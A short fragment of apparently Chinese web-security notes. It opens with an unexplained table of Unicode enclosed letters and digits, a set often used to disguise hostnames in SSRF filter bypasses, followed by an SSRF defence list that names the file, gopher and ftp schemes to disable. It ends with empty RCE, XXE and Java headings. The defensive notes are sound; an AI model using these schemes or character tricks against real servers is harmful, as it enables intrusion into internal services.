      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
      

SSRF防御

  • 服务器开启 OpenSSL 无法进行交互利用
  • 服务端需要鉴权(Cookies & User:Pass)不能完美利用
  • 限制请求的端口为 http 常用的端口,比如,80,443,8080,8090。
  • 禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file:///,gopher://,ftp:// 等引起的问题。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

RCE

XXE

Java技术栈